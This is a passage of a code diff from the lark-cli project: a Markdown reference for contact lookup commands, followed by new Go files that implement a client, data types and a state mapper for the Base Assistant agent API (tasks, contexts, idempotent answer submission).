+**Find a user by name**
+```bash
+lark-cli contact +search-user --query "alice" --as user
+```
+
+**Fetch known users by open_id (me = yourself)**
+```bash
+lark-cli contact +search-user --user-ids "ou_3a8b****6a7b,me" --as user
+```
+
+## +get-user
+Fetch one user's profile by id, or your own with --user-id omitted. Use it under bot identity — `+search-user` is user-only.
+
+### Skills
+- lark-contact/references/lark-contact-get-user.md
+
+### Avoid when
+- You don't have the user's id yet, or want to match by name/keyword → use [[+search-user]]
+- Running as a user — [[+search-user]] --user-ids covers by-id reads and more in one tool
+
+### Tips
+- Self lookup (omit --user-id) needs user identity; a bot must pass --user-id
+- --user-id-type must match the id you pass (default open_id)
+
+## user_profiles batch_query
+Bulk-fetch personal status and signature for user ids you already have.
+
+### Avoid when
+- Need more than status/signature (name, dept, email), or don't have the open_id yet → use [[+search-user]]
+
+### Tips
+- Off by default — set include_personal_status / include_description to true under query_option
+- ids in user_ids must match --user-id-type (default open_id)
+
+### Examples
+
+**Bulk-query status and signature**
+```bash
+lark-cli contact user_profiles batch_query --data '{"user_ids":["ou_3a8b****6a7b"],"query_option":{"include_personal_status":true,"include_description":true}}'
+```

agents/base/adapter_client.go

@@ -0,0 +1,295 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package base
+
+import (
+	"context"
+	"crypto/rand"
+	"crypto/sha256"
+	"encoding/hex"
+	"encoding/json"
+	"net/url"
+	"sort"
+	"strconv"
+	"strings"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+)
+
+const baseAgentServicePath = "/open-apis/base/v3"
+
+func callPayload[T any](ctx context.Context, rt iagents.Runtime, method, path string, query map[string]string, body any) (T, error) {
+	return iagents.Call[T](ctx, rt, method, path, query, body)
+}
+
+func segment(v string) string { return url.PathEscape(v) }
+
+func agentRoot(baseToken string) string {
+	return baseAgentServicePath + "/bases/" + segment(baseToken) + "/ai/agents/" + segment(adapterAgentID)
+}
+
+func randomIdempotencyKey() (string, error) {
+	var b [16]byte
+	if _, err := rand.Read(b[:]); err != nil {
+		return "", errs.NewInternalError(errs.SubtypeUnknown,
+			"generate Base Agent idempotency key: %v", err).WithCause(err)
+	}
+	return "lark-cli-" + hex.EncodeToString(b[:]), nil
+}
+
+// canonicalAnswers is the single, fixed encoding both the deterministic
+// message_id and idempotency_key derive from. Determinism matters across
+// endpoints and retries: the backend hands the idempotency_key straight to
+// CreateJob, so an identical answer submitted twice MUST hash the same, and a
+// different answer MUST hash differently. Algorithm (frozen):
+//   - question keys sorted ascending;
+//   - each key's values: a ".text" free-text key keeps its single value
+//     verbatim (order/content preserved, never sorted); a choice key's values
+//     are deduplicated then sorted ascending (multi-select order is not
+//     semantically meaningful);
+//   - encoded as compact JSON with the schema version and task id, so a
+//     schema bump or a cross-task collision can never dedupe.
+func canonicalAnswers(taskID string, answers map[string][]string) ([]byte, error) {
+	keys := make([]string, 0, len(answers))
+	for k := range answers {
+		keys = append(keys, k)
+	}
+	sort.Strings(keys)
+	normalized := make([][2]interface{}, 0, len(keys))
+	for _, k := range keys {
+		values := append([]string(nil), answers[k]...)
+		if _, isText := iagents.SplitAnswerKey(k); !isText {
+			values = dedupeSorted(values)
+		}
+		normalized = append(normalized, [2]interface{}{k, values})
+	}
+	canonical := struct {
+		SchemaVersion int              `json:"schema_version"`
+		TaskID        string           `json:"task_id"`
+		Answers       [][2]interface{} `json:"answers"`
+	}{
+		SchemaVersion: answersDataSchemaVersion,
+		TaskID:        taskID,
+		Answers:       normalized,
+	}
+	encoded, err := json.Marshal(canonical)
+	if err != nil {
+		return nil, errs.NewInternalError(errs.SubtypeUnknown,
+			"encode Base Agent answers: %v", err).WithCause(err)
+	}
+	return encoded, nil
+}
+
+// dedupeSorted removes exact-duplicate values and returns them sorted ascending.
+func dedupeSorted(values []string) []string {
+	seen := make(map[string]struct{}, len(values))
+	out := make([]string, 0, len(values))
+	for _, v := range values {
+		if _, ok := seen[v]; ok {
+			continue
+		}
+		seen[v] = struct{}{}
+		out = append(out, v)
+	}
+	sort.Strings(out)
+	return out
+}
+
+// deterministicAnswerID derives the shared message_id/idempotency_key for an
+// answer submission from the canonical encoding: a
+// same-command retry dedupes server-side, a different answer does not.
+func deterministicAnswerID(taskID string, answers map[string][]string) (string, error) {
+	canonical, err := canonicalAnswers(taskID, answers)
+	if err != nil {
+		return "", err
+	}
+	sum := sha256.Sum256(canonical)
+	return "answer_" + hex.EncodeToString(sum[:]), nil
+}
+
+func sendMessage(ctx context.Context, rt iagents.Runtime, in iagents.SendInput) (*iagents.AgentTask, error) {
+	p, err := iagents.BindParams[sendParams](rt)
+	if err != nil {
+		return nil, err
+	}
+	params := map[string]string{}
+	if p.ActiveTableID != "" {
+		params["active_table_id"] = p.ActiveTableID
+	}
+	msg, key, err := buildSendMessage(in)
+	if err != nil {
+		return nil, err
+	}
+	req := adapterSendRequest{
+		ContextID:      in.ContextID,
+		TaskID:         in.TaskID,
+		Message:        msg,
+		Params:         params,
+		IdempotencyKey: key,
+		Metadata:       map[string]string{"channel": "lark_cli"},
+	}
+	path := agentRoot(p.BaseToken) + "/messages"
+	got, err := callPayload[adapterTask](ctx, rt, "POST", path, nil, req)
+	if err != nil {
+		return nil, err
+	}
+	return mapTask(got, true)
+}
+
+// buildSendMessage assembles the wire message and its idempotency key for a
+// send. An answer send (in.Answers non-empty) carries a single kind=answers
+// DataPart — never a text part, since Base rejects an answer remark — and uses
+// a deterministic id shared by message_id and idempotency_key. Every other send
+// carries the free text and a random id (a new task/turn is a new logical
+// message each time).
+func buildSendMessage(in iagents.SendInput) (adapterMessage, string, error) {
+	if len(in.Answers) > 0 {
+		id, err := deterministicAnswerID(in.TaskID, in.Answers)
+		if err != nil {
+			return adapterMessage{}, "", err
+		}
+		data, err := json.Marshal(answersDataPart{
+			Kind:          answersDataKind,
+			SchemaVersion: answersDataSchemaVersion,
+			Payload:       answersDataPayload{Answers: in.Answers},
+		})
+		if err != nil {
+			return adapterMessage{}, "", errs.NewInternalError(errs.SubtypeUnknown,
+				"encode Base Agent answers data part: %v", err).WithCause(err)
+		}
+		msg := adapterMessage{
+			MessageID: id,
+			Role:      "user",
+			Parts:     []adapterPart{{Type: "data", Data: json.RawMessage(data)}},
+		}
+		return msg, id, nil
+	}
+	key, err := randomIdempotencyKey()
+	if err != nil {
+		return adapterMessage{}, "", err
+	}
+	msg := adapterMessage{Role: "user", Parts: []adapterPart{{Type: "text", Text: in.Text}}}
+	return msg, key, nil
+}
+
+func getTask(ctx context.Context, rt iagents.Runtime, taskID string) (*iagents.AgentTask, error) {
+	p, err := iagents.BindParams[getTaskParams](rt)
+	if err != nil {
+		return nil, err
+	}
+	path := agentRoot(p.BaseToken) + "/tasks/" + segment(taskID)
+	query := map[string]string{}
+	putQuery(query, "context_id", p.ContextID)
+	got, err := callPayload[adapterTask](ctx, rt, "GET", path, query, nil)
+	if err != nil {
+		return nil, err
+	}
+	return mapTask(got, false)
+}
+
+func listTasks(ctx context.Context, rt iagents.Runtime, contextID string, page iagents.PageParams) ([]iagents.TaskSummary, iagents.PageInfo, error) {
+	if strings.TrimSpace(contextID) == "" {
+		return nil, iagents.PageInfo{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"base:assistant task list requires --context-id").WithParam("--context-id").
+			WithHint("pass --context-id <context-id> from a Base Agent task or context response")
+	}
+	p, err := iagents.BindParams[listTasksParams](rt)
+	if err != nil {
+		return nil, iagents.PageInfo{}, err
+	}
+	query := map[string]string{}
+	putQuery(query, "context_id", contextID)
+	putQuery(query, "cursor", page.Token)
+	if page.Size > 0 {
+		query["limit"] = strconv.Itoa(page.Size)
+	}
+	putQuery(query, "state", p.State)
+	got, err := callPayload[adapterTaskList](ctx, rt, "GET", agentRoot(p.BaseToken)+"/tasks", query, nil)
+	if err != nil {
+		return nil, iagents.PageInfo{}, err
+	}
+	out := make([]iagents.TaskSummary, 0, len(got.Tasks))
+	for _, item := range got.Tasks {
+		summary, err := mapTaskSummary(item)
+		if err != nil {
+			return nil, iagents.PageInfo{}, err
+		}
+		out = append(out, summary)
+	}
+	return out, iagents.PageInfo{HasMore: got.HasMore, NextToken: got.NextCursor}, nil
+}
+
+func cancelTask(ctx context.Context, rt iagents.Runtime, taskID string) error {
+	p, err := iagents.BindParams[baseTokenParams](rt)
+	if err != nil {
+		return err
+	}
+	path := agentRoot(p.BaseToken) + "/tasks/" + segment(taskID) + "/cancel"
+	result, err := callPayload[adapterResult](ctx, rt, "POST", path, nil, map[string]any{
+		"metadata": map[string]string{"channel": "lark_cli"},
+	})
+	if err != nil {
+		return err
+	}
+	return mapResult(result, "cancel task")
+}
+
+func listContexts(ctx context.Context, rt iagents.Runtime, page iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
+	p, err := iagents.BindParams[listContextsParams](rt)
+	if err != nil {
+		return nil, iagents.PageInfo{}, err
+	}
+	query := map[string]string{}
+	putQuery(query, "cursor", page.Token)
+	if page.Size > 0 {
+		query["limit"] = strconv.Itoa(page.Size)
+	}
+	putQuery(query, "status", p.Status)
+	got, err := callPayload[adapterContextList](ctx, rt, "GET", agentRoot(p.BaseToken)+"/contexts", query, nil)
+	if err != nil {
+		return nil, iagents.PageInfo{}, err
+	}
+	out := make([]iagents.ContextSummary, 0, len(got.Contexts))
+	for _, item := range got.Contexts {
+		mapped, err := mapContextSummary(item)
+		if err != nil {
+			return nil, iagents.PageInfo{}, err
+		}
+		out = append(out, mapped)
+	}
+	return out, iagents.PageInfo{HasMore: got.HasMore, NextToken: got.NextCursor}, nil
+}
+
+func getContext(ctx context.Context, rt iagents.Runtime, contextID string) (*iagents.ContextDetail, error) {
+	p, err := iagents.BindParams[baseTokenParams](rt)
+	if err != nil {
+		return nil, err
+	}
+	path := agentRoot(p.BaseToken) + "/contexts/" + segment(contextID)
+	got, err := callPayload[adapterContext](ctx, rt, "GET", path, nil, nil)
+	if err != nil {
+		return nil, err
+	}
+	return mapContextDetail(got)
+}
+
+func deleteContext(ctx context.Context, rt iagents.Runtime, contextID string) error {
+	p, err := iagents.BindParams[baseTokenParams](rt)
+	if err != nil {
+		return err
+	}
+	path := agentRoot(p.BaseToken) + "/contexts/" + segment(contextID)
+	result, err := callPayload[adapterResult](ctx, rt, "DELETE", path, nil, nil)
+	if err != nil {
+		return err
+	}
+	return mapResult(result, "delete context")
+}
+
+func putQuery(query map[string]string, key, value string) {
+	if value != "" {
+		query[key] = value
+	}
+}

agents/base/base.go

@@ -0,0 +1,147 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+// Package base exposes the fixed Base assistant through the provider-neutral
+// agents SPI. Adapter-specific wire details intentionally stay in this package.
+package base
+
+import (
+	"context"
+	"strings"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+)
+
+// Base Agent scope is checked before every real API operation. Both the Open
+// Platform app and the user token must grant it.
+const baseAgentExecuteScope = "base:agent:execute"
+
+// adapterAgentID is deliberately private: callers always use base:assistant,
+// and a future Adapter-side ID change is isolated to this mapping.
+const adapterAgentID = "assistant"
+
+type sendParams struct {
+	BaseToken     string `param:"base_token"`
+	ActiveTableID string `param:"active_table_id"`
+}
+
+type baseTokenParams struct {
+	BaseToken string `param:"base_token"`
+}
+
+type getTaskParams struct {
+	BaseToken string `param:"base_token"`
+	ContextID string `param:"context_id"`
+}
+
+type listTasksParams struct {
+	BaseToken string `param:"base_token"`
+	State     string `param:"state"`
+}
+
+type listContextsParams struct {
+	BaseToken string `param:"base_token"`
+	Status    string `param:"status"`
+}
+
+func baseTokenParam() []iagents.CardParam {
+	return []iagents.CardParam{{Name: "base_token", Required: true, Desc: "Base app token"}}
+}
+
+func getTaskParamList() []iagents.CardParam {
+	return []iagents.CardParam{
+		{Name: "base_token", Required: true, Desc: "Base app token"},
+		{Name: "context_id", Desc: "Optional context override used to retrieve the task's message snapshot"},
+	}
+}
+
+func sendParamList() []iagents.CardParam {
+	return []iagents.CardParam{
+		{Name: "base_token", Required: true, Desc: "Base app token"},
+		{Name: "active_table_id", Desc: "Optional active table for automatic routing"},
+	}
+}
+
+func listTasksParamList() []iagents.CardParam {
+	return []iagents.CardParam{
+		{Name: "base_token", Required: true, Desc: "Base app token"},
+		{Name: "state", Enum: []string{"running", "done", "failed"}, Desc: "Adapter task state"},
+	}
+}
+
+func listContextsParamList() []iagents.CardParam {
+	return []iagents.CardParam{
+		{Name: "base_token", Required: true, Desc: "Base app token"},
+		{Name: "status", Desc: "Adapter context status"},
+	}
+}
+
+var assistantSpec = iagents.AgentSpec{
+	ID:          "assistant",
+	Name:        "Base Assistant",
+	Description: "Handles multi-component Base construction and restructuring, plus user-facing data retrieval and analysis. Use Base CLI shortcuts for a single atomic edit or record create, update, or delete.",
+	Skills: []iagents.CardSkill{
+		{
+			ID:   "base_assistant",
+			Name: "Build and analyze a Base",
+			Examples: []string{
+				"Create an order table from the provided field list",
+				"Build a sales management workflow and dashboard",
+				"Analyze recent sales trends and explain the main changes",
+			},
+		},
+	},
+	Send:          iagents.SendOp{Params: sendParamList(), Handler: send},
+	GetTask:       iagents.TaskGetOp{Params: getTaskParamList(), Handler: getTask},
+	ListTasks:     iagents.TaskListOp{Params: listTasksParamList(), Handler: listTasks},
+	CancelTask:    iagents.TaskCancelOp{Params: baseTokenParam(), Handler: cancelTask},
+	ListContexts:  iagents.ContextListOp{Params: listContextsParamList(), Handler: listContexts},
+	GetContext:    iagents.ContextGetOp{Params: baseTokenParam(), Handler: getContext},
+	DeleteContext: iagents.ContextDeleteOp{Params: baseTokenParam(), Handler: deleteContext},
+	FileInput:     false,
+	InputRequired: true,
+}
+
+// Provider returns the single offline-discoverable Base assistant.
+func Provider() iagents.Provider {
+	return iagents.Provider{
+		Scheme:         "base",
+		Label:          "Base Assistant",
+		AgentIDSource:  "Use the fixed agent reference base:assistant",
+		RequiredScopes: []string{baseAgentExecuteScope},
+		Identities:     []iagents.IdentitySpec{{Type: iagents.IdentityUser}},
+		Catalog:        []iagents.AgentSpec{assistantSpec},
+	}
+}
+
+func validateSendRuntime(rt iagents.Runtime, in iagents.SendInput) error {
+	if rt.IsBot() {
+		return errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"base:assistant currently supports only user identity").WithParam("--as").
+			WithHint("run the command with --as user")
+	}
+	if len(in.Files) > 0 {
+		return errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"base:assistant does not support file input").WithParam("--file")
+	}
+	// The unified contract lets an answer carry a message-level --text remark,
+	// but the Base bridge maps CLI answers straight onto the pending clarification
+	// card and has no channel for a separate remark: SaveUserMessage rewrites the
+	// user message from the card answers alone. Reject the combination explicitly
+	// (a Base-only deviation from the framework contract) instead of silently
+	// dropping the remark. The backend enforces the same rule for direct HTTP.
+	if len(in.Answers) > 0 && strings.TrimSpace(in.Text) != "" {
+		return errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"base:assistant does not support a remark when answering input_required").WithParam("--text").
+			WithHint("answer the question group with --answer only, then send --text as a follow-up message on the same task")
+	}
+	return nil
+}
+
+func send(ctx context.Context, rt iagents.Runtime, in iagents.SendInput) (*iagents.AgentTask, error) {
+	if err := validateSendRuntime(rt, in); err != nil {
+		return nil, err
+	}
+	return sendMessage(ctx, rt, in)
+}

agents/base/dto.go

@@ -0,0 +1,287 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package base
+
+import (
+	"bytes"
+	"encoding/json"
+	"fmt"
+)
+
+type adapterSendRequest struct {
+	ContextID      string            `json:"context_id,omitempty"`
+	TaskID         string            `json:"task_id,omitempty"`
+	Message        adapterMessage    `json:"message"`
+	Params         map[string]string `json:"params,omitempty"`
+	IdempotencyKey string            `json:"idempotency_key"`
+	Metadata       map[string]string `json:"metadata"`
+}
+
+type adapterMessage struct {
+	MessageID string        `json:"message_id,omitempty"`
+	Role      string        `json:"role"`
+	Parts     []adapterPart `json:"parts,omitempty"`
+	Text      string        `json:"text,omitempty"`
+}
+
+// answersDataKind marks the DataPart that carries an input_required reply.
+const answersDataKind = "answers"
+
+// answersDataSchemaVersion is the wire schema version of the answers payload.
+// It is included in the canonical encoding so a schema change forces a new
+// deterministic id (an old-schema retry never dedupes against a new one).
+const answersDataSchemaVersion = 1
+
+// answersDataPart is the typed body of a kind=answers DataPart. The bridge
+// serializes it into adapterPart.Data; the backend decodes the same shape and
+// restores the pending clarification card from payload.answers (public
+// question_id → option_id/text values). Keys/values ride argv order from the
+// command layer; the deterministic id derived alongside canonicalizes them.
+type answersDataPart struct {
+	Kind          string             `json:"kind"`
+	SchemaVersion int                `json:"schema_version"`
+	Payload       answersDataPayload `json:"payload"`
+}
+
+type answersDataPayload struct {
+	Answers map[string][]string `json:"answers"`
+}
+
+type adapterPart struct {
+	Type string          `json:"type"`
+	Text string          `json:"text,omitempty"`
+	Name string          `json:"name,omitempty"`
+	URL  string          `json:"url,omitempty"`
+	Data json.RawMessage `json:"data,omitempty"`
+}
+
+type adapterArtifact struct {
+	ID   string `json:"id"`
+	Kind string `json:"kind,omitempty"`
+	Name string `json:"name,omitempty"`
+	URL  string `json:"url,omitempty"`
+	Text string `json:"text,omitempty"`
+}
+
+type adapterTask struct {
+	// SchemaVersion/Status/Outputs are the v1 detail contract returned by
+	// SendMessage and GetTask. The remaining fields are retained while task-list
+	// and context endpoints still return the legacy summary shape.
+	SchemaVersion int             `json:"schema_version,omitempty"`
+	ID            string          `json:"id,omitempty"`
+	TaskID        string          `json:"task_id,omitempty"`
+	ContextID     string          `json:"context_id,omitempty"`
+	State         string          `json:"state,omitempty"`
+	Status        string          `json:"status,omitempty"`
+	CreatedAt     json.RawMessage `json:"created_at,omitempty"`
+	UpdatedAt     json.RawMessage `json:"updated_at,omitempty"`
+	Summary       string          `json:"summary,omitempty"`
+	Outputs       []adapterOutput `json:"outputs,omitempty"`
+
+	// Legacy detail fields are accepted only for the schema_version=0 rollout
+	// compatibility path. New v1 responses must use Outputs.
+	Messages  []adapterMessage  `json:"messages,omitempty"`
+	Artifacts []adapterArtifact `json:"artifacts,omitempty"`
+}
+
+type adapterTaskList struct {
+	Tasks      []adapterTask `json:"tasks"`
+	HasMore    bool          `json:"has_more"`
+	NextCursor string        `json:"next_cursor,omitempty"`
+}
+
+func (l *adapterTaskList) UnmarshalJSON(data []byte) error {
+	tasks, hasMore, nextCursor, err := decodeAdapterList[adapterTask](data, "tasks")
+	if err != nil {
+		return err
+	}
+	*l = adapterTaskList{Tasks: tasks, HasMore: hasMore, NextCursor: nextCursor}
+	return nil
+}
+
+type adapterOutput struct {
+	ID            string                 `json:"id"`
+	Type          string                 `json:"type"`
+	Source        string                 `json:"source,omitempty"`
+	GroupID       string                 `json:"group_id,omitempty"`
+	Text          string                 `json:"text,omitempty"`
+	Data          *adapterStructuredData `json:"data,omitempty"`
+	Clarification *adapterClarification  `json:"clarification,omitempty"`
+	Artifact      *adapterOutputArtifact `json:"artifact,omitempty"`
+	Raw           json.RawMessage        `json:"-"`
+}
+
+func (o *adapterOutput) UnmarshalJSON(data []byte) error {
+	type outputAlias adapterOutput
+	var decoded outputAlias
+	if err := json.Unmarshal(data, &decoded); err != nil {
+		return err
+	}
+	*o = adapterOutput(decoded)
+	o.Raw = append(json.RawMessage(nil), data...)
+	return nil
+}
+
+type adapterStructuredData struct {
+	Kind          string          `json:"kind"`
+	SchemaVersion int             `json:"schema_version"`
+	Payload       json.RawMessage `json:"payload"`
+}
+
+type adapterClarification struct {
+	ID            string                             `json:"id"`
+	Title         string                             `json:"title,omitempty"`
+	Required      bool                               `json:"required"`
+	Submitted     bool                               `json:"submitted"`
+	Questions     []adapterClarificationQuestion     `json:"questions,omitempty"`
+	Forms         []adapterClarificationForm         `json:"forms,omitempty"`
+	Buttons       []adapterClarificationButton       `json:"buttons,omitempty"`
+	DefaultAction *adapterClarificationDefaultAction `json:"default_action,omitempty"`
+}
+
+type adapterClarificationQuestion struct {
+	ID               string                         `json:"id"`
+	Type             string                         `json:"type"`
+	Prompt           string                         `json:"prompt"`
+	Required         bool                           `json:"required"`
+	AllowCustomInput bool                           `json:"allow_custom_input,omitempty"`
+	Options          []adapterClarificationOption   `json:"options,omitempty"`
+	SubQuestions     []adapterClarificationQuestion `json:"sub_questions,omitempty"`
+	Answered         bool                           `json:"answered,omitempty"`
+	Answer           *adapterClarificationAnswer    `json:"answer,omitempty"`
+}
+
+type adapterClarificationOption struct {
+	ID          string `json:"id"`
+	Label       string `json:"label"`
+	Description string `json:"description,omitempty"`
+}
+
+type adapterClarificationAnswer struct {
+	OptionIDs []string        `json:"option_ids,omitempty"`
+	Value     json.RawMessage `json:"value,omitempty"`
+}
+
+type adapterClarificationForm struct {
+	ID        string                         `json:"id"`
+	Title     string                         `json:"title,omitempty"`
+	Questions []adapterClarificationQuestion `json:"questions,omitempty"`
+	Buttons   []adapterClarificationButton   `json:"buttons,omitempty"`
+}
+
+type adapterClarificationButton struct {
+	ID           string `json:"id"`
+	Kind         string `json:"kind"`
+	Style        string `json:"style,omitempty"`
+	Label        string `json:"label"`
+	Default      bool   `json:"default,omitempty"`
+	Message      string `json:"message,omitempty"`
+	ConfirmText  string `json:"confirm_text,omitempty"`
+	ActionParams string `json:"action_params,omitempty"`
+}
+
+type adapterClarificationDefaultAction struct {
+	ButtonText   string `json:"button_text,omitempty"`
+	ActionParams string `json:"action_params,omitempty"`
+}
+
+type adapterOutputArtifact struct {
+	ID       string            `json:"id"`
+	Type     string            `json:"type"`
+	Title    string            `json:"title,omitempty"`
+	Status   string            `json:"status"`
+	Resource map[string]string `json:"resource,omitempty"`
+	Revision *int64            `json:"revision,omitempty"`
+	Metadata json.RawMessage   `json:"metadata,omitempty"`
+}
+
+type adapterContext struct {
+	ID        string          `json:"id,omitempty"`
+	ContextID string          `json:"context_id,omitempty"`
+	Title     string          `json:"title,omitempty"`
+	Status    string          `json:"status,omitempty"`
+	CreatedAt json.RawMessage `json:"created_at,omitempty"`
+	UpdatedAt json.RawMessage `json:"updated_at,omitempty"`
+	Tasks     []adapterTask   `json:"tasks,omitempty"`
+}
+
+type adapterContextList struct {
+	Contexts   []adapterContext `json:"contexts"`
+	HasMore    bool             `json:"has_more"`
+	NextCursor string           `json:"next_cursor,omitempty"`
+}
+
+func (l *adapterContextList) UnmarshalJSON(data []byte) error {
+	contexts, hasMore, nextCursor, err := decodeAdapterList[adapterContext](data, "contexts")
+	if err != nil {
+		return err
+	}
+	*l = adapterContextList{Contexts: contexts, HasMore: hasMore, NextCursor: nextCursor}
+	return nil
+}
+
+func decodeAdapterList[T any](data []byte, itemsField string) ([]T, bool, string, error) {
+	trimmed := bytes.TrimSpace(data)
+	if len(trimmed) == 0 {
+		return nil, false, "", fmt.Errorf("Base Agent list response is empty")
+	}
+	if trimmed[0] == '[' {
+		var items []T
+		if err := json.Unmarshal(trimmed, &items); err != nil {
+			return nil, false, "", err
+		}
+		return items, false, "", nil
+	}
+	if trimmed[0] != '{' {
+		return nil, false, "", fmt.Errorf("Base Agent list response must be an object")
+	}
+
+	var envelope map[string]json.RawMessage
+	if err := json.Unmarshal(trimmed, &envelope); err != nil {
+		return nil, false, "", err
+	}
+	itemsRaw, ok := envelope[itemsField]
+	if !ok || bytes.Equal(bytes.TrimSpace(itemsRaw), []byte("null")) {
+		return nil, false, "", fmt.Errorf("Base Agent list response is missing %q", itemsField)
+	}
+	var items []T
+	if err := json.Unmarshal(itemsRaw, &items); err != nil {
+		return nil, false, "", fmt.Errorf("decode Base Agent list response %q: %w", itemsField, err)
+	}
+
+	hasMoreRaw, ok := envelope["has_more"]
+	if !ok || bytes.Equal(bytes.TrimSpace(hasMoreRaw), []byte("null")) {
+		return nil, false, "", fmt.Errorf("Base Agent list response is missing %q", "has_more")
+	}
+	var hasMore bool
+	if err := json.Unmarshal(hasMoreRaw, &hasMore); err != nil {
+		return nil, false, "", fmt.Errorf("decode Base Agent list response %q: %w", "has_more", err)
+	}
+
+	var nextCursor string
+	if nextCursorRaw, ok := envelope["next_cursor"]; ok {
+		if bytes.Equal(bytes.TrimSpace(nextCursorRaw), []byte("null")) {
+			return nil, false, "", fmt.Errorf("Base Agent list response %q must be a string", "next_cursor")
+		}
+		if err := json.Unmarshal(nextCursorRaw, &nextCursor); err != nil {
+			return nil, false, "", fmt.Errorf("decode Base Agent list response %q: %w", "next_cursor", err)
+		}
+	}
+	if hasMore != (nextCursor != "") {
+		return nil, false, "", fmt.Errorf("Base Agent list response has inconsistent pagination fields")
+	}
+	return items, hasMore, nextCursor, nil
+}
+
+type adapterBusinessError struct {
+	Category string `json:"category,omitempty"`
+	Code     string `json:"code,omitempty"`
+	Message  string `json:"message,omitempty"`
+}
+
+type adapterResult struct {
+	Result bool                 `json:"result"`
+	Reason string               `json:"reason,omitempty"`
+	Error  adapterBusinessError `json:"error,omitempty"`
+}

agents/base/mapper.go

@@ -0,0 +1,636 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package base
+
+import (
+	"encoding/json"
+	"strconv"
+	"strings"
+	"time"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+)
+
+const adapterTaskSchemaVersion = 1
+
+func taskID(in adapterTask) string {
+	if in.TaskID != "" {
+		return in.TaskID
+	}
+	return in.ID
+}
+
+func contextID(in adapterContext) string {
+	if in.ContextID != "" {
+		return in.ContextID
+	}
+	return in.ID
+}
+
+func mapState(raw string, allowEmpty bool) (iagents.TaskState, error) {
+	switch strings.ToLower(strings.TrimSpace(raw)) {
+	case "pending", "submitted":
+		return iagents.StateSubmitted, nil
+	case "running", "working":
+		return iagents.StateWorking, nil
+	case "waiting_for_input", "input_required":
+		return iagents.StateInputRequired, nil
+	case "done", "finish", "finished", "turn_finished", "completed":
+		return iagents.StateCompleted, nil
+	case "failed":
+		return iagents.StateFailed, nil
+	case "cancel", "canceled", "cancelled":
+		return iagents.StateCanceled, nil
+	case "":
+		if allowEmpty {
+			return iagents.StateSubmitted, nil
+		}
+	}
+	return "", errs.NewInternalError(errs.SubtypeInvalidResponse,
+		"Base Adapter returned unsupported task state %q", raw)
+}
+
+func mapTask(in adapterTask, allowEmptyState bool) (*iagents.AgentTask, error) {
+	if in.SchemaVersion != 0 {
+		return mapVersionedTask(in)
+	}
+	return mapLegacyTask(in, allowEmptyState)
+}
+
+func mapVersionedTask(in adapterTask) (*iagents.AgentTask, error) {
+	if in.SchemaVersion != adapterTaskSchemaVersion {
+		return nil, errs.NewInternalError(errs.SubtypeInvalidResponse,
+			"Base Adapter returned unsupported task schema_version %d", in.SchemaVersion).
+			WithHint("update lark-cli to a version that supports this Base Agent task schema")
+	}
+	state, err := mapState(in.Status, false)
+	if err != nil {
+		return nil, err
+	}
+	messages, artifacts, err := mapOutputs(in.Outputs)
+	if err != nil {
+		return nil, err
+	}
+	createdAt, err := mapTime(in.CreatedAt)
+	if err != nil {
+		return nil, err
+	}
+	updatedAt, err := mapTime(in.UpdatedAt)
+	if err != nil {
+		return nil, err
+	}
+	pending := latestPendingClarification(in.Outputs)
+	var inputRequired *iagents.InputRequired
+	switch {
+	case state == iagents.StateInputRequired && pending == nil:
+		return nil, errs.NewInternalError(errs.SubtypeInvalidResponse,
+			"Base Adapter returned waiting_for_input without an unresolved required clarification")
+	case state == iagents.StateInputRequired:
+		inputRequired, err = mapInputRequired(*pending.Clarification)
+		if err != nil {
+			return nil, err
+		}
+	default:
+		// Job status is authoritative. Clarification outputs are persisted on a
+		// separate path and can briefly remain unresolved after an answer moves
+		// the task back to running. Treat that card as historical so --watch keeps
+		// polling instead of surfacing an invalid-response error.
+	}
+	return &iagents.AgentTask{
+		TaskID:        taskID(in),
+		ContextID:     in.ContextID,
+		State:         state,
+		IsTerminal:    state.IsTerminal(),
+		CreatedAt:     createdAt,
+		UpdatedAt:     updatedAt,
+		Messages:      messages,
+		Artifacts:     artifacts,
+		InputRequired: inputRequired,
+	}, nil
+}
+
+func mapLegacyTask(in adapterTask, allowEmptyState bool) (*iagents.AgentTask, error) {
+	stateRaw := in.State
+	if stateRaw == "" {
+		stateRaw = in.Status
+	}
+	state, err := mapState(stateRaw, allowEmptyState)
+	if err != nil {
+		return nil, err
+	}
+	messages, err := mapMessages(in.Messages)
+	if err != nil {
+		return nil, err
+	}
+	artifacts, err := mapArtifacts(in.Artifacts)
+	if err != nil {
+		return nil, err
+	}
+	createdAt, err := mapTime(in.CreatedAt)
+	if err != nil {
+		return nil, err
+	}
+	updatedAt, err := mapTime(in.UpdatedAt)
+	if err != nil {
+		return nil, err
+	}
+	return &iagents.AgentTask{
+		TaskID:     taskID(in),
+		ContextID:  in.ContextID,
+		State:      state,
+		IsTerminal: state.IsTerminal(),
+		CreatedAt:  createdAt,
+		UpdatedAt:  updatedAt,
+		Messages:   messages,
+		Artifacts:  artifacts,
+	}, nil
+}
+
+func mapOutputs(in []adapterOutput) ([]iagents.Message, []iagents.Artifact, error) {
+	parts := make([]iagents.Part, 0, len(in))
+	artifacts := make([]iagents.Artifact, 0)
+	for _, output := range in {
+		partMetadata := iagents.Part{OutputID: output.ID, Source: output.Source, GroupID: output.GroupID}
+		switch strings.ToLower(strings.TrimSpace(output.Type)) {
+		case "text":
+			if output.Text == "" {
+				return nil, nil, invalidOutput(output, "text output is empty")
+			}
+			partMetadata.Type = "text"
+			partMetadata.Text = output.Text
+			parts = append(parts, partMetadata)
+		case "data":
+			if output.Data == nil {
+				return nil, nil, invalidOutput(output, "data output is missing data")
+			}
